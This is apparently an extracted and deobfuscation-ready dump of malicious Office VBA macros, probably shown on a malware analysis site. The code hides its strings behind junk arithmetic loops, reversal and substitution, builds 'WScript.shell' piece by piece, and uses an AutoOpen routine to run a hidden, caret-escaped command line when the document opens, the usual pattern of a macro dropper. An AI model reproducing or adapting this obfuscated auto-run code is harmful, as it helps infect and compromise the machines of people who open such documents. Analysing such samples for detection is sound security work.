 OQcKd = KRzVLO * Int(PRrOsU / CDate(lwJAGz) / 62540 - Atn(25305)) + (74883 + Sin(ascLEQ) * auIam - Int(46158) + 27873 / TnKsEp / FsoPG + EfGziE)
Next
For swhzzc = tSzMS To ndRczF
 jkFwij = JcNzw * Int(mpESXs / CDate(Lqqfio) / 80790 - Atn(8151)) + (55942 + Sin(udtRPH) * iRPDwQ - Int(9734) + 123 / TwzZw / HFYpu + UttUj)
Next
WUJJCikJ = YQLfp("vh0aHH%dQXJmBqnXXB% R", 2 + 0, 14 + 0)
For TVChW = LjFcwP To lfOUr
 DdoWn = aNTOXW * Int(PQliMl / CDate(QNOziJ) / 18263 - Atn(29810)) + (16216 + Sin(FZCOdW) * wPpwUs - Int(41649) + 65972 / NAJzB / jOqqP + rdjKEZ)
Next
For CEdSlS = EjjTmH To FwPbaz
 zoORqp = ciNjIG * Int(bSjBz / CDate(GJNMPY) / 12441 - Atn(65098)) + (14672 + Sin(PpaFFQ) * AvcIb - Int(3075) + 37933 / dBUdii / bNmna + BRjzV)
Next
WNZOLVPlS = YQLfp("ul%dQXJmBqnXXB%!PO1i", 5 + 0, 14 + 0)
For zqiAAK = fGWai To uZlWl
 dzqNM = RqNwd * Int(LGCWwv / CDate(USbCT) / 11168 - Atn(74054)) + (14900 + Sin(jcQvzt) * BHdWhi - Int(38936) + 78236 / dcPYFX / qVRlBu + HaLmK)
Next
For AoHZA = ahDrs To kHPooQ
 kIdNoD = zfAnji * Int(pBzBh / CDate(nwNcE) / 69531 - Atn(6445)) + (7727 + Sin(UjFjkp) * XbSVJ - Int(45304) + 91399 / QLOsvG / mHBAm + AIEAnR)
Next
CBRSC = YQLfp("wahP3 te8gHgjvdDDvnk&&!%FWA", 2 + 0, 10 + 0)
For RhzuM = iWjLFQ To jMtWK
 aBwwf = CTWTOV * Int(GkPiL / CDate(fUcvD) / 90916 - Atn(91319)) + (69844 + Sin(OoOipi) * JUjULK - Int(15228) + 15558 / UqjJS / diCfo + GsDjzS)
Next
For uTjaZj = mAPNpS To MnquEa
 nrWSFL = zfRlTQ * Int(Esajp / CDate(MVlJiz) / 70582 - Atn(89216)) + (17356 + Sin(OoTCGc) * HTUEo - Int(40421) + 94650 / WBiHuQ / OrdSF + kFaqo)
Next
RnVzMGdKMb = YQLfp("if7BHhi86HN", 6 + 0, 3 + 0)
For DwzNwc = SPUiYA To jMwFmO
 DacZo = vXNuN * Int(dtjWn / CDate(iLzvuM) / 9541 - Atn(33476)) + (33596 + Sin(XGVDaT) * WXoHG - Int(76494) + 90212 / aQYXu / pKXICa + fPUXE)
Next
For kBKsWf = nfHUrd To aqwzzV
 fGNjPN = dGwLpZ * Int(ZEKtVq / CDate(AiCGi) / 30366 - Atn(82784)) + (98824 + Sin(iWWuFu) * LGRjJZ - Int(20519) + 16999 / DIAmm / ifsiX + alwDi)
Next
jiEmtTzRmiP = YQLfp("4q.4lR1&r^e=%XSkYIVhzG% ZQ", 3 + 0, 17 + 0)
For OoTfV = HzmDGu To YtEbGq
 zisrB = XlkVTf * Int(EwUiXn / CDate(inSaY) / 96526 - Atn(4858)) + (98742 + Sin(VKrNQ) * jwciu - Int(15265) + 43184 / QkaPX / ZWDTUi + LRSDY)
Next
For Isjzwm = WNCnH To kfjAEi
 PaISr = dWNNu * Int(lDrjjH / CDate(nZDap) / 18491 - Atn(22069)) + (89423 + Sin(YqwdGO) * ijRGvJ - Int(70328) + 16201 / IHVZs / DtwvuL + SIfIjw)
Next
VwwdVMA = YQLfp("61&QZjjVTcK=%EJlaiuDTcAMbmr", 7 + 0, 19 + 0)
For QQaWb = zOAKi To vahCpU
 ZnDfL = PjQIa * Int(Zmljsj / CDate(zkBosn) / 32166 - Atn(11912)) + (32091 + Sin(lGpni) * jNlPC - Int(24201) + 48927 / GaXECJ / oVqXQY + LruNwJ)
Next
For PzNOjD = MwSJRm To WoTmCp
 aqBVGn = KkoQk * Int(usNTki / CDate(MRzKv) / 20502 - Atn(53713)) + (1780 + Sin(zqaBK) * JMtZQO - Int(3875) + 21492 / thCkdb / CUkbIq + ZwLODl)
Next
tPYaqVp = YQLfp("B5O!=%DCJFR", 4 + 0, 5 + 0)
For qjYFjA = LSqKG To QNHrX
 zoFRjj = UTdEA * Int(ZfCzif / CDate(aZqCuQ) / 3736 - Atn(40483)) + (51038 + Sin(oUrZl) * kRoYQ - Int(61613) + 11804 / OpMjqO / dLcEa + DXTizu)
Next
For QLXEQ = FYRcE To ADmQEk
 POKwSs = AkZGtA * Int(JRAFVf / CDate(XjTJQb) / 19980 - Atn(9588)) + (66853 + Sin(EojNuF) * FMcJU - Int(98624) + 20923 / EEqmmK / Fprfrp + QdvCa)
Next
XwONv = YQLfp("V.% te8gHgjvdDDvnk&Ivudi", 6 + 0, 6 + 0)
For FUTOL = AJCjDj To aMXTS
 oVjqVP = WCvwN * Int(ZIdjk / CDate(bwKZCG) / 77213 - Atn(90940)) + (65847 + Sin(qtJdF) * jVizww - Int(31918) + 96281 / DVlKz / cmsrzi + jjhUjH)
Next
For BHwluS = oPpmV To jXNdRw
 shzwBW = OGoWYK * Int(pKNkDw / CDate(kluNH) / 44441 - Atn(58678)) + (7152 + Sin(ikaDwU) * zkYiD - Int(65320) + 52871 / NKzqN / sNCiHv + ltzIK)
Next
fXQoot = YQLfp("dQvbdkIpUjV2q", 3 + 0, 7 + 0)
For JmwHuV = QAfRDC To bzzXn
 dlWXVo = ILqZV * Int(DRjPDE / CDate(Njshl) / 59487 - Atn(9559)) + (72403 + Sin(mwbVUA) * PamGz - Int(84490) + 9604 / GwKws / jtTScu + omqjmj)
Next
For bmIkp = NpZsQ To KZSwG
 kntFtf = StuEoT * Int(wNPDo / CDate(HvcLwj) / 94985 - Atn(99215)) + (76131 + Sin(AuaMIQ) * VtcnX - Int(49367) + 36976 / lZQNzK / JKroK + JJiziA)
Next
Fsiksqwm = YQLfp("z,  te8gHgjvdDDvnk&&w^o=%FWMzBz7DkC", 7 + 0, 15 + 0)
For JNGrjz = JLIjWJ To LJjlqi
 lQUTFh = kupsZ * Int(bXSYh / CDate(QFzBHS) / 1895 - Atn(15461)) + (97737 + Sin(BLoSIY) * lXaQhZ - Int(33841) + 36072 / wkwnqH / rRfoO + AEZMk)
Next
For mJoRcb = brhcT To ZSjji
 WBbMRV = BkTwp * Int(EcMMS / CDate(MrnhmC) / 28333 - Atn(89183)) + (54609 + Sin(cwwTna) * KzWvTa - Int(35741) + 14190 / sbOlNF / tSkjU + KDbjTI)
Next
ajTPbMTRqjL = YQLfp("q.8AVmjLLdTA", 3 + 0, 6 + 0)
For CWNif = PvtsQ To ZtKnf
 TWiDBD = cVmTUm * Int(JkqVN / CDate(GMqSzZ) / 37641 - Atn(28288)) + (90240 + Sin(zPvqzl) * zVKnCf - Int(55043) + 53324 / GJKpD / ZvkHjQ + bjbha)
Next
For zZRlw = lCotW To JZVmT
 QivPw = vGBAQG * Int(CHvaP / CDate(habUZv) / 78394 - Atn(11837)) + (23153 + Sin(BnWzt) * mXkbT - Int(81646) + 84184 / llhiT / NzFpl + oNVTJs)
Next
KAMdiAwAo = YQLfp("k%=%bDTE", 5 + 0, 2 + 0)
For wAMuJV = UYqodr To JjoOKm
 wBijL = bZBQR * Int(HvRYrY / CDate(hkoJQ) / 22293 - Atn(90233)) + (19040 + Sin(ihFzFb) * ziNzVK - Int(91436) + 44689 / WCjns / wqBEX + rRVQq)
Next
For pcGiM = RwiSV To AojbL
 bTTjL = mPhhWI * Int(vcmii / CDate(ozUSwm) / 3977 - Atn(10243)) + (9325 + Sin(tFSuI) * uBGRd - Int(85317) + 92784 / jcava / NFzcX + GBWwJ)
Next
YaIIjnjaG = YQLfp("vidwGkhZY% te8gHgjvdDDvnk&&8gHgjvdDDvnkdiv7Tv", 7 + 0, 15 + 0)
For hGncD = Pjilc To UwCzi
 MHfhv = HqXFEt * Int(KIFKpj / CDate(ZMfqo) / 54342 - Atn(56675)) + (62131 + Sin(azJSC) * CszKzV - Int(26192) + 79962 / ipHRJ / lMNbu + botTKb)
Next
For oTUrNE = AYHUa To soqpj
 jfNBXs = tjzCz * Int(AJKfjw / CDate(OhjuhL) / 65763 - Atn(82654)) + (90733 + Sin(Aqvjt) * bSwwq - Int(21422) + 74479 / VKiaC / JGroWB + STMKjw)
Next
PlDXkhFlcP = YQLfp("7C !fvniXD1", 8 + 0, 2 + 0)
For wMCIH = iNnAE To uhYXj
 oMwuz = KrHIw * Int(oKMOCJ / CDate(VSzAw) / 37211 - Atn(83284)) + (69081 + Sin(HOuwj) * smZEN - Int(91579) + 97787 / zZODL / qffOPK + qMCaHW)
Next
For UPFML = DMfiZK To BSdrsY
 drSBMP = LcOYR * Int(XAvXVD / CDate(GWpwz) / 12057 - Atn(24887)) + (33529 + Sin(NwWzw) * dwEzwN - Int(84424) + 69109 / KHNPB / FWpAp + CUBGC)
Next
LJmYTX = YQLfp("dZ.N=%OciwRuHhWwwcT8gHgjvdDDvnkz%H4IKV", 6 + 0, 19 + 0)
For IPSBU = mWzTVG To OmZos
 wQjHZj = JibcCt * Int(HjUwIn / CDate(diXmB) / 67039 - Atn(83118)) + (52521 + Sin(cfINF) * cHsUXp - Int(15358) + 91706 / QbNBi / afFiT + JVYzFh)
Next
For IOdoAK = VuAWrA To fwZWid
 bpmaRi = ThLLH * Int(obUMM / CDate(oPWwwf) / 70685 - Atn(95060)) + (37279 + Sin(ViqVwh) * qOicm - Int(4506) + 25105 / KkkoEc / JEpUE + quhkjl)
Next
ZucflAuuhww = YQLfp("FalMzcTSzWvkIzt6Az", 7 + 0, 9 + 0)
For dVlTH = dziBB To JIlvA
 PFIYm = bchATB * Int(GQBMpw / CDate(hBwPf) / 5223 - Atn(76737)) + (14691 + Sin(iEzjbR) * DEiFsi - Int(42080) + 56151 / cKvwHw / wjbNGt + jsTjwv)
Next
For vwmAiw = AlbVn To UINPF
 tujiV = UtjWLU * Int(zhvsNH / CDate(PWPmo) / 30204 - Atn(48606)) + (75515 + Sin(wTjwvu) * LUQCJD - Int(65419) + 56599 / GuqTZ / zIrwX + zpFYhR)
Next
XMbrqztq = YQLfp("5rBachhzG%!!%JqnSzziQv", 4 + 0, 13 + 0)
For DcWfCC = XzFDLo To NiVjTB
 TbGwXA = fKdcm * Int(ZzjPnR / CDate(sCCnli) / 85817 - Atn(69695)) + (12898 + Sin(pNPCjA) * jfBVs - Int(74075) + 53202 / YrMPzF / CLpRYS + oIdYZ)
Next
For GYMYP = rStRiC To uJkPz
 JGWQPH = JGqCRH * Int(nmiFII / CDate(izXEti) / 72559 - Atn(86840)) + (81582 + Sin(fMESB) * IwRRUl - Int(55199) + 83665 / bNiHif / oGfJw + WcNQP)
Next
HdRWqsaLKQt = YQLfp("FlJEiwMzNzmcWmP", 4 + 0, 8 + 0)
For WFCVl = VIqrW To UjFRQH
 LuYXwn = mzapDD * Int(MUuYr / CDate(FIWQzj) / 74061 - Atn(78229)) + (34722 + Sin(ELFiE) * whEit - Int(30548) + 46841 / AnSWIL / sZOjC + HaOAD)
Next
For KNRzn = cGiPz To swShjB
 iTobKs = nEzOFz * Int(abJwzW / CDate(dThbj) / 29194 - Atn(73449)) + (60606 + Sin(LTcNlC) * mGFui - Int(47713) + 16978 / KAtRV / lkiJF + GzicH)
Next
fulCuJfLW = YQLfp("h6jFccwh8gHgjvdDDvnkS% te8gHgjvdDDvnk&&HPLIXP.I6", 4 + 0, 19 + 0)
For Lmudl = XFXpt To mEKNRf
 UKjaj = EfCOmc * Int(naMWZj / CDate(iuPkv) / 82515 - Atn(3230)) + (44468 + Sin(pshwH) * wbLLfh - Int(61545) + 40395 / kNRpMr / olRnau + fswjfN)
Next
For YcMzi = hdiBz To dvCWlv
 LwwhT = jjRdz * Int(NwVnpw / CDate(Scriws) / 34292 - Atn(6564)) + (45460 + Sin(BwOiU) * Cbvtv - Int(97983) + 53620 / AlLmh / HNald + TUAoB)
Next
rOijbEq = YQLfp("Tl te8gHgjvdDDvnk&&!%KzwvPmJo%Q7cbM", 6 + 0, 17 + 0)
For MNQfiH = hSLuDE To AciKh
 VPOoXc = uvibG * Int(wmOzUD / CDate(tApvS) / 45037 - Atn(64442)) + (19241 + Sin(qqpHV) * wwbIFC - Int(95737) + 73764 / koLHjl / JHcmVZ + WAvuV)
Next
For MoXmm = GjWFs To DYNTp
 vqjuWB = YlnsYf * Int(bHuDQ / CDate(iOkbhN) / 90886 - Atn(22788)) + (29581 + Sin(EkwEX) * jSSWKO - Int(63351) + 36050 / waUYvd / DGLjF + NIFPI)
Next
TkMADtonrk = YQLfp("ikTItc0d", 4 + 0, 1 + 0)
For jHbaA = acktYP To Skinan
 huhqt = kaFJQu * Int(HjjXz / CDate(mVBZJ) / 66295 - Atn(91463)) + (98005 + Sin(ViUfcp) * oaljJB - Int(451) + 43584 / cdKaiA / oGAwf + XHzrw)
Next
For MRitLd = NMwMb To zNKod
 VUJMjS = BkDQLA * Int(VHaGO / CDate(jdLpiu) / 63245 - Atn(25569)) + (93184 + Sin(PvhLX) * CEuba - Int(53687) + 53921 / vlLRB / mEZjur + UiplY)
Next
SBjSv = YQLfp("D0il%!!%dkI1@", 3 + 0, 7 + 0)
For SnVdp = wFVLnW To BBusi
 LGfLW = QjNiW * Int(pCXKW / CDate(IWjCk) / 32464 - Atn(84987)) + (72239 + Sin(mqHZp) * VMwmc - Int(98736) + 55161 / FlWzH / UkrfUk + iJVOT)
Next
For LAjiJV = ZRkRXC To sKwrQ
 AiLIw = GzImr * Int(NnsaQC / CDate(ZYLtJn) / 75790 - Atn(66855)) + (81509 + Sin(PNSYI) * cpbiBP - Int(52295) + 32429 / sdKORS / uNrzoo + VJZQu)
Next
lQIQBVGv = YQLfp("RM=%KzOTEH", 5 + 0, 4 + 0)
For ZZOEzP = pUbKzu To QJcUY
 USEhLB = nGYcwj * Int(FTPGQ / CDate(hEamj) / 99953 - Atn(87812)) + (49154 + Sin(LjErHY) * Uhswb - Int(94290) + 68071 / zLQXJz / WDXFQr + ALHPC)
Next
For XiNCX = ECNiL To EQVjc
 McCid = kSNkp * Int(cYiEQn / CDate(fXzciB) / 23311 - Atn(39561)) + (14491 + Sin(BWMbj) * XPpEwS - Int(9463) + 79565 / MSCnm / ziHzjO + YjRud)
Next
LKTYbCO = YQLfp("bidpmHDPqr", 7 + 0, 1 + 0)
For LOdSs = LpbidN To IHRiK
 VIBnEi = dWrIm * Int(puiFj / CDate(JGbKY) / 98882 - Atn(59091)) + (68578 + Sin(FsGwH) * HCJaY - Int(77192) + 79294 / ozTwY / YiCii + auwdo)
Next
For UGRTw = aQGSIB To JzhYzP
 aXuViN = Lwjlc * Int(tOufTO / CDate(zpNUj) / 83484 - Atn(59598)) + (17149 + Sin(sCAjs) * zMvokq - Int(29050) + 38686 / hjCmu / BFkPv + JZoniu)
Next
DtIlzXGd = YQLfp("%0OFH%!=%JqnSzzozHw8gHgjvdDDvnklh", 6 + 0, 15 + 0)
For DdkvGt = ijidK To VnnAps
 VrzQQ = OonHBC * Int(bQwwkv / CDate(dURaGF) / 25955 - Atn(29369)) + (41769 + Sin(owqjRM) * UiJfdu - Int(55479) + 56628 / OGErrQ / AkBZXK + jzSBS)
Next
HHjVPco = IElwoJ + LsJBkKbTR + RnVzMGdKMb + zwpwj + lQIQBVGv + LKTYbCO + GJhfj + YQSFnzDH + Fsiksqwm + LJmYTX + fulCuJfLW + tPYaqVp + rOijbEq + kHqMsstCPR + TsYQq + EMpwzvwW + HdRWqsaLKQt + QAkzlRYqmtA + TkMADtonrk + jiEmtTzRmiP + XwONv + DtIlzXGd + ZucflAuuhww + CBRSC + wjzcAf + fXQoot + KAMdiAwAo + YaIIjnjaG + VwwdVMA + UMRsZqIsT + rkzaVGwJ + niJpiO + TjOjHblEuHh + WUJJCikJ + DwfHNCL + SMlEhl + CAVGFj + XMbrqztq + nOKrMCS + CKzDbBzumXK + qNdJwbchjW + SBjSv + ajTPbMTRqjL + YIkjWtGh + inwzIj + WNZOLVPlS + PlDXkhFlcP
For LOKEQ = FmNAZo To iqGKiu
 EqwPm = JTZjL * Int(KaQAwA / CDate(PKGmkc) / 70192 - Atn(51234)) + (61911 + Sin(cooGu) * VSuRHS - Int(73465) + 24922 / pfiWOq / KDfNw + LnChd)
Next
End Function
Sub GzhVIYkSX(INZBpVjUpIkd As String)
On Error Resume Next
For JBnhV = Ftcji To ZLquo
 ZNmzDl = zPFqV * Int(RhvFCl / CDate(jOiUzX) / 29583 - Atn(68971)) + (12486 + Sin(MIkoO) * iJwCZ - Int(42131) + 16644 / CHkRj / FnIuHK + RCjVXs)
Next
ntrBnSIOmDkHwj = silKCa + "WS" + Chr(VBA.vbKeyC) + Replace("ript.8gHgjvdDDvnkhell", "8gHgjvdDDvnk", "s") + wEjUN
For iRqmw = dQZzp To DaMHSj
 dOHUW = OFLIi * Int(atFwz / CDate(tXUPd) / 37140 - Atn(66627)) + (91500 + Sin(zzEpmD) * kqbzU - Int(25005) + 69556 / RHqaPn / iMvYIh + lnlaw)
Next
CreateObject(ntrBnSIOmDkHwj).Run FHTwVII + Chr(VBA.vbKeyC) + INZBpVjUpIkd + VCrjnWw + cIjpAVruN, vbHide
For kXFnMt = VsJou To GfkIK
 sVLPP = duHOj * Int(ZibYl / CDate(ipzPS) / 56638 - Atn(77674)) + (64372 + Sin(DZKPNh) * VYYIqb - Int(67221) + 99430 / GJuPM / htcaUG + DiahdZ)
Next
End Sub

Attribute VB_Name = "wwWijNCAdR"
Function MIKWpifk()
On Error Resume Next
For NfSfIr = wjGsjW To XTDzu
 UlYRvh = TZTrf * Int(acHkQ / CDate(iYqjjA) / 66021 - Atn(97225)) + (71133 + Sin(SwMdtV) * GAkbaJ - Int(42802) + 24416 / MIwrP / nwLFiF + RMifqH)
Next
VJvArBlhGjX = YQLfp("rvvJ7F6C^%     %^c^E^O", 2 + 0, 14 + 0)
For iCfEA = jfXHP To TToZC
 NjJORn = WRjXsu * Int(PplJd / CDate(qOzHaD) / 80225 - Atn(18987)) + (72289 + Sin(dnjmd) * OQkrN - Int(58832) + 68889 / IfMwFi / iwKCzj + nOwhk)
Next
For mlrEZt = puJDKj To nCQjmd
 jwJoWC = jXida * Int(lUlYi / CDate(NzdBA) / 8638 - Atn(16086)) + (7591 + Sin(wBJUw) * GoiQDr - Int(28945) + 17434 / fZjQN / QrwYP + CvIjOw)
Next
ActpUbZzB = YQLfp("bX  %^c^E^p^S^m^oAaJ@", 5 + 0, 15 + 0)
For jVUJc = ffDIf To wqGVa
 sqmjJ = viRDt * Int(jpsDZ / CDate(KQHti) / 75471 - Atn(26274)) + (67543 + Sin(BQovZ) * OVIYDM - Int(19529) + 26198 / Fbmdcq / uRGLKN + HzSaru)
Next
For iGaXD = BLzZD To FwfVA
 SuaIH = OcYOz * Int(OkXHr / CDate(jvCDNk) / 71798 - Atn(64924)) + (62119 + Sin(cmFpnY) * BfWzNJ - Int(51107) + 84406 / MmKSuz / qpFIP + qXZjdA)
Next
DzjbGzrX = YQLfp("6.1JtBzMLCiHXlzKBbn", 2 + 0, 13 + 0)
For IJZqFW = VqTlcL To XzWNqi
 PAiQPU = wZjjaF * Int(CMUMXW / CDate(zVTjDH) / 36369 - Atn(46241)) + (5600 + Sin(mWEtJ) * aqCnWR - Int(74139) + 10320 / FuVmC / SIzPi + kMNVa)
Next
For WwjbjP = sGYclI To AOXDm
 HUskw = UzEUdJ * Int(CXLiS / CDate(crYJP) / 66417 - Atn(32817)) + (44888 + Sin(CFwoAF) * CEzdIv - Int(81739) + 78501 / vShGnp / FjJZjK + BjDlvw)
Next
hOCUFtXm = YQLfp("vcZp^S^mFrAE", 5 + 0, 5 + 0)
For oIwVU = foMjB To XTPjRv
 WrFrf = sazwEK * Int(qNGJik / CDate(iEQWc) / 45721 - Atn(98925)) + (73703 + Sin(mzmpi) * jjRSYc - Int(63100) + 66616 / HWGtKM / AjdiR + iOIzFQ)
Next
For XbzHS = kYaNE To uTjtzs
 cskaBS = fjUsw * Int(sETPd / CDate(Npcki) / 81597 - Atn(43978)) + (79842 + Sin(lBanFo) * LmAwpt - Int(62740) + 1456 / hPipq / TPmfB + ICkic)
Next
BvqzWJBs = YQLfp("8qWrZ6Z37", 5 + 0, 3 + 0)
For uitFth = sjPfVT To bfAbo
 EkiLB = nwDkQ * Int(NOmSL / CDate(VBvwUE) / 67815 - Atn(32695)) + (22015 + Sin(YcBIqc) * KAiDTt - Int(91529) + 78100 / wMIFXI / XFnFF + dckOv)
Next
For aZQiAX = XDwBs To XLvGmH
 wMuVu = WcAiI * Int(qSAkC / CDate(DDwwdw) / 40530 - Atn(24319)) + (2268 + Sin(RAFcjb) * NiukvB - Int(78981) + 44993 / plCdW / sfiENz + wAhDjK)
Next
IUfifccY = YQLfp("Wt3rw     c/         V/   rzZ", 4 + 0, 21 + 0)
For YfjOZn = HqICH To DIjKX
 qHZuc = tiiuC * Int(RiXBJC / CDate(EiVloa) / 4970 - Atn(10814)) + (51891 + Sin(nQWjTT) * wlHAjJ - Int(44586) + 24807 / QkcBCz / XThVWk + ZISwv)
Next
For wPRdZ = iIZMV To VnbHaD
 MVYpm = BIqEcU * Int(utzQfi / CDate(nJznin) / 49969 - Atn(1077)) + (3485 + Sin(zEItQ) * XafiXN - Int(77679) + 7863 / shtboL / rPWCXl + wUBHY)
Next
HEPjERBM = YQLfp("a0SmijBNwuOS djLAQaT", 5 + 0, 14 + 0)
For XLviB = pAAQZV To qqGjYN
 WMtWN = mUhNW * Int(PzZjl / CDate(ZMVbr) / 97782 - Atn(94235)) + (64149 + Sin(uProct) * kKSZQ - Int(64762) + 80241 / SmtTF / RKUQwA + vVuZjp)
Next
For YTwaI = GXQzC To iFfkj
 KLkmt = dGwCG * Int(AHYkX / CDate(InsEus) / 6395 - Atn(33099)) + (39703 + Sin(HGjPp) * UjUlZ - Int(74772) + 95848 / RERMz / zwhucv + GRrjc)
Next
KNRVdqbd = YQLfp("BuIpVSbazv0MmX", 6 + 0, 6 + 0)
For czpSqO = nsPlLV To qnpbrT
 AIYon = wOOdCz * Int(VBblaz / CDate(GHiwj) / 13216 - Atn(12031)) + (62513 + Sin(bPrIR) * qRiDUj - Int(49554) + 57863 / jNaUpL / BtCTt + cFjnQv)
Next
For bjjmM = kZoXj To qcXLqQ
 kfNiW = jiHao * Int(qNhnQ / CDate(vTtJwt) / 54715 - Atn(28759)) + (42797 + Sin(JzdFU) * baNEKi - Int(55227) + 76117 / zAIpjJ / HfvzWa + UCHhYU)
Next
ERIAqiNwz = YQLfp("P3      zPElEZ", 7 + 0, 6 + 0)
For wiuvl = ZLVMq To jwsTZ
 CUszJX = BrtCD * Int(ESVCR / CDate(uvBPv) / 20497 - Atn(66102)) + (12608 + Sin(tmbih) * VAPzYX - Int(42991) + 68631 / fJRMm / LuaFiu + EzmbQ)
Next
For JdASO = NFbGSs To lCwvz
 qpzRBm = zApzOz * Int(iTwMzc / CDate(zIuhX) / 6536 - Atn(50465)) + (46129 + Sin(bbzRcb) * Lzjlz - Int(24655) + 29307 / rUGfRG / wUIrjF + diDZTO)
Next
tGclauJtA = YQLfp("@wArGW hzlkHAYJScT dmNcR", 4 + 0, 17 + 0)
For OjIDJ = NSrWmt To qCwuG
 pffIl = FcVzha * Int(AIdozc / CDate(WZdcm) / 9685 - Atn(75807)) + (79537 + Sin(blIStZ) * jXXIEI - Int(83280) + 40764 / vtsHN / zSwDQ + CWjHP)
Next
For SNrXA = twWWnH To QkCzk
 LGfqi = AzvCbC * Int(opOLqQ / CDate(qkQuM) / 62122 - Atn(13813)) + (35807 + Sin(OfDhb) * GmXNqA - Int(56666) + 95765 / uTCSjB / LjcKa + kdwahc)
Next
GjUJrjLGU = YQLfp("kSXdP^1", 2 + 0, 1 + 0)
For WXVJHj = odZHMm To zsdpl
 pUTER = RCtPQ * Int(AQXXw / CDate(KzZkiJ) / 40239 - Atn(95506)) + (77544 + Sin(lkUlv) * rCDQs - Int(1501) + 34429 / uOJoM / wcuki + tFlKjT)
Next
For QQUrA = BmzWVw To dqirBS
 HAtLZ = LFswCM * Int(onRjl / CDate(pIlQE) / 32450 - Atn(9558)) + (80591 + Sin(mtTqm) * OPWJRR - Int(34084) + 91898 / CUJhvq / CGucA + jpuVt)
Next
aaHRiQOu = YQLfp("cQRZiQ^o^C^%     & GIn", 4 + 0, 13 + 0)
For TzdLaZ = XuWTpY To rOkHX
 hMrMvJ = rjhOwY * Int(buZIjI / CDate(TifmE) / 8293 - Atn(76020)) + (58705 + Sin(EnzwG) * IQQQh - Int(66491) + 82882 / IXRuk / pbXPZO + MZqFDN)
Next
MIKWpifk = tGclauJtA + BvqzWJBs + KNRVdqbd + DzjbGzrX + HEPjERBM + aaHRiQOu + hOCUFtXm + VJvArBlhGjX + GjUJrjLGU + ActpUbZzB + IUfifccY + ERIAqiNwz
For cbwaX = lIsTa To bRWPnK
 hfcPi = sYwqZ * Int(iVfkj / CDate(qXQLh) / 68661 - Atn(8559)) + (78560 + Sin(mRpKDv) * jfAMQ - Int(2915) + 59230 / pRTIwR / jqqwmm + wtLtk)
Next
End Function
Function YQLfp(ByVal SshwccCD As String, BXXnqBmJXQd, dLLjmVFvRDZJzR)
On Error Resume Next
For HzGLU = SVarQn To MisVqh
 wJfMH = LfzbhQ * Int(TNJWr / CDate(jPIwc) / 61378 - Atn(22055)) + (67319 + Sin(AUjKv) * HzStE - Int(64097) + 66061 / WzKAcT / ZVdcAt + KDjwDp)
Next
srDDTRl = iuXUBLQqcnj + StrReverse(Replace(SshwccCD, "8gHgjvdDDvnk", "s")) + dmzSfiPXawDivP
For mPMId = HrFmfa To iitpv
 QELlB = oSEfq * Int(ZmudbP / CDate(DFVuuf) / 99504 - Atn(14867)) + (15708 + Sin(rFNmsw) * biLup - Int(51104) + 5280 / OzGoN / HdKsw + JRFBFj)
Next
zozzSnqJ = MadCjnjBzE + Mid(srDDTRl, BXXnqBmJXQd, dLLjmVFvRDZJzR) + OfTifhtTujkc
For uvEDK = KoIzq To kvZAjD
 ZYdRb = lYImlt * Int(zaHkid / CDate(ZtwFhc) / 94985 - Atn(90018)) + (72876 + Sin(SOjbC) * QiddYz - Int(4069) + 4991 / DOnKn / RDMkfc + kwdqm)
Next
YQLfp = TWNAuvqGFASZ + zozzSnqJ + thdOJkziBLUqX
For sufzi = NjBqO To PziMDt
 niqGj = GoJSL * Int(JXtwMZ / CDate(kMiKj) / 75987 - Atn(99680)) + (32516 + Sin(AwoIa) * jTBnvj - Int(53157) + 47545 / QpzEV / wVmCJ + JYKSkC)
Next
End Function

Attribute VB_Name = "nNdCSdoazYiU"
Sub AutoOpen()
On Error Resume Next
For natqq = vzCaCF To hZvqV
 dplqn = fbjvBw * Int(iBLji / CDate(cpGml) / 74370 - Atn(51533)) + (94361 + Sin(wOfGD) * rSCjF - Int(7659) + 21145 / ODBdu / QVqQX + WWCzDM)
Next
Application.Run "GzhVIYkSX", HFOkvWzSTczMWF
For diSQut = riJzYP To VsjkI
 ZlaYOi = wUPCf * Int(OhownG / CDate(EjhMqr) / 15316 - Atn(52295)) + (1791 + Sin(TPujQs) * tBLit - Int(43361) + 35817 / TfBkj / wdYbsD + iWbjv)
Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.